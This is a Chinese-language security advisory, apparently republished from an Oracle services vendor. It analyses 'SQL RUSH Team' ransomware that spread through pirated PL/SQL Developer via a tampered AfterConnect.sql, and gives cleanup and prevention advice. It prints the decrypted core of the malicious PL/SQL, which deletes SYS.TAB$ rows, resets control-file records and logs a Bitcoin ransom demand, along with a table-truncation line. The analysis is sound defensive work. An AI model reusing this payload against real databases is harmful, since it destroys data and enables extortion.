知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

风险从来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就突然降临到我们的身边。

近期,国内很多用户的 Oracle 数据库,突然遭遇到莫名其妙的攻击事件,大家种种猜测、揣摩、重试,引发了一次小小的数据恐慌。

在注意到这类安全事件之后,我们第一时间投入分析、采集,最后找出了问题的根源,昨天已经发出了全面的预警和警示,今天再次详述该类问题,与 Oracle 的用户们共为警醒。

最近问题的主要原因是某些用户下载了来源不明的数据库管理工具,导致数据库被感染。我们强烈推荐大家提高版权意识,购买正版软件,远离风险,从规范做起。

问题症状:

很多用户在录数据库时发现该问题,数据库应用弹出"锁死"提示,并且威胁说需要向黑客发送5个比特币方可获得解锁。

在客户端,你可能获得类似的提示信息:

在数据库受攻击之后,在数据库的告警日志中,可能充斥如下信息:

ORA-00604: error occurred at recursive SQL level 1 ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database. ORA-06512: at “XXX.DBMS_CORE_INTERNAL ", line 27 ORA-06512: at line 2

这里无非是一些警示和勒索,但是这儿 SQL RUSH Team,引发了大家的猜测,sqlrush @ mail.com ,这个地址 和 id 引发了对于始作俑者的猜测,当然事实不得而知。

问题原因:

我们通过有限的案例,详细分析了问题的原因和感染过程,在此披露出来,给 Oracle 的用户们作为参考。

注意:当一个问题研究清楚之后,就不再会产生恐惧,恐惧来自于未知,在没有遭到原因之前,大家的各种猜测导致问题扩大化,现在可以回到问题的本质上来了。

问题的根本原因是:如果用户从互联网上下载了盗版的 PL/SQL Developer 工具后(尤其是各种绿色版、破解版),就可能因为这个工具中招。所以这个问题和 Oracle 本身关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就自然被附体的进行了入侵。

重要的问题要说三遍:盗版软件害人!

PL/SQL Developer 在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql,这个脚本就是真正的问题所在。

正版软件安装,这个脚本文件是空文件,但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。

受感染文件 - AfterConnect.sql 开头是这样的,伪装成一个 login.sql 的脚本内容,有清晰的注释代码:

实质内容,以加密方式展示,用户看不到内容,但是可以通过 unwrap 进行解密(但是注意那些解密程序不要存在恶意代码):

无疑,黑客是非常了解 Oracle 数据库的,其脚本代码的核心部分,解密后如下(做了删节,不要害人):

BEGIN SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14); FOR I IN 1..2046 LOOP DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.'); DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致) 之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 '); END LOOP; END IF; END;

请注意黑客的专业性,在程序的开端有以下部分判断:

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200) THEN

也就是,判断数据库创建时间大于1200天,才开始动作(这个判断相当有见地,小库和新库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆发,那可能是因为时间还没有到。

我们强烈建议用户检查数据库工具的使用情况,避免使用来历不明的工具产品。

我们强烈建议:采用正版软件,规避未知风险。

安全漏洞:

我们知道,几乎绝大多数数据库的客户端工具,在访问数据库时,都可以通过脚本进行一定的功能定义,而这些脚本往往就是安全问题的漏洞之一。本例的攻击手段非常初级,但是也非常巧妙。

下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意:

SQL*Plus: glogin.sql / login.sql TOAD : toad.ini PLSQLdeveloper: login.sql / afterconnect.sql

我们强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。

处置建议:

这个攻击是通过 JOB、触发器、存储过程 来协同工具的,所以如果数据库遭遇到这个问题,可以将 JOB 参数 job_queue_processes 设置为 0 ,屏蔽掉 JOB 的执行,然后重启数据库。可以清除注入对象,这些对象可能包括以下同名触发器和存储过程:

PROCEDURE "DBMS_CORE_INTERNAL " PROCEDURE "DBMS_SYSTEM_INTERNAL " PROCEDURE "DBMS_SUPPORT_INTERNAL "

而攻击的核心代码还包括,这会 Truncate 数据表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;

如果您的数据库已经遭受攻击和数据损失,可以紧急联系云和恩墨的服务团队,我们可以帮助您处理数据修复事宜。云和恩墨久经考验的ODU产品,可以在数据丢失后最大限度的恢复数据。云和恩墨的自动化巡检工具:Bethune(白求恩),内置一项检查,访问来源、访问工具分析,可以帮助用户梳理清楚你的数据库使用情况。别犹豫,去 https://bethune.enmotech.com 看看,不收钱。

事件回顾:

  • 2015年9月,XcodeGhost入侵苹果iOS事件在业内引起不小震动。事件起因为不知名黑客向iOS应用开发工具Xcode植入恶意程序,通过网盘和论坛上传播,被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示,病毒感染波及AppStore下载量最高的5000个App其中的76个,保守估计受影响用户数超过一亿。
  • 2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。

安全防范,请从今日开始。

原文发布于微信公众号 - 数据和云(OraNews)

原文发表时间:2016-11-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏腾讯云技术沙龙

刘敏洁:API网关和SCF深度结合应用

这次我们主要介绍面向于API网关和SCF深度结合应用,API网关与SCF结合可以形成比较完整的Serverless方案。

1582
来自专栏安恒信息

Intel芯片存在后门,即使关机也可被入侵

Intel Core vPro大家并不陌生,它依靠Intel的主动管理技术(AMT)来实现,当开启该功能之后,即使在关机的情况下也能对电脑进行...

2554
来自专栏IT大咖说

小米弹性调度平台Ocean——从PaaS到DCOS

741
来自专栏黄希彤的专栏

部署在腾讯云的公益网站遭受了一次 CC 攻击

攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC ( ChallengeCollapsar )。本文记录了面对黑客攻击的排查以及解决...

2K2
来自专栏EAWorld

API管理的正确姿势--API Gateway

数字化生态,以创新客户体验为核心,所有我们身边能感知到的变化都来自于渐近的创新。这些创新需要试错,需要不断的升级,并且创新往往与我们熟知的功能分离开来分别呈现。...

772
来自专栏腾讯游戏安全中心的专栏

你还在关注勒索病毒?别人已经转行挖矿!

近日,腾讯游戏安全中心捕获一款网吧内传播的恶意软件。原以为是常规的网吧盗号木马,但详细分析之后发现并非如此。

1.7K1
来自专栏SDNLAB

分层安全用于通用客户端设备(uCPE)部署的准则

1245
来自专栏Seebug漏洞平台

VxWorks Fuzzing 之道:VxWorks 工控实时操作系统漏洞挖掘调试与利用揭秘

来自404实验室安全研究团队的对于VxWorks 工控实时操作系统进行的 Fuzzing 与漏洞挖掘调试、利用的安全探究。 0x00 前言 关于VxWorks,...

3325
来自专栏Vamei实验室

树莓派:光阴的故事

对于电子设备来说,时间都是基础性的功能,也很容易被人忽视。上世纪的“千年虫”问题,就是时间方面设计缺陷造成的。对于网络连接的多设备来说,保持时间同步又是一个新的...

2578
来自专栏FreeBuf

下一个猎杀目标 | 近期大量MySQL数据库遭勒索攻击

随着MongoDB, ElasticSearch, Hadoop, CouchDB和Cassandra服务器的的沦陷,MySQL数据库成了攻击者的下一个猎杀目标...

2046

扫描关注云+社区